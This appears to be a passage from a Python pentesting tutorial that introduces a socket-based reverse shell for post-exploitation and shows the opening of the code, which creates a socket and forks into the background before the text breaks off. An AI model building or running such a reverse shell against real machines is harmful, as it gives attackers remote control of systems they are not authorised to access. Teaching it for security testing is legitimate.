Implementing a reverse shell with sockets

A reverse shell is an action by which a user gains access to the shell of an external server. For example, if you are working in a post-exploitation pentesting phase and would like to create a script that is invoked in certain scenarios that will automatically get a shell to access the filesystem of another machine, we could build our own reverse shell in Python.

You can find the following code in the reverse_shell.py file:

import socket
import subprocess
import os
socket_handler = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    if os.fork() > 0:
        os._exit(0)
except OSError as error:
    print('Error in fork process: %d (%s)' % (error.errno, error.strerror))
    pid = os.fork()
    if pid > 0:
        print('Fork Not Valid!')
socket_handler...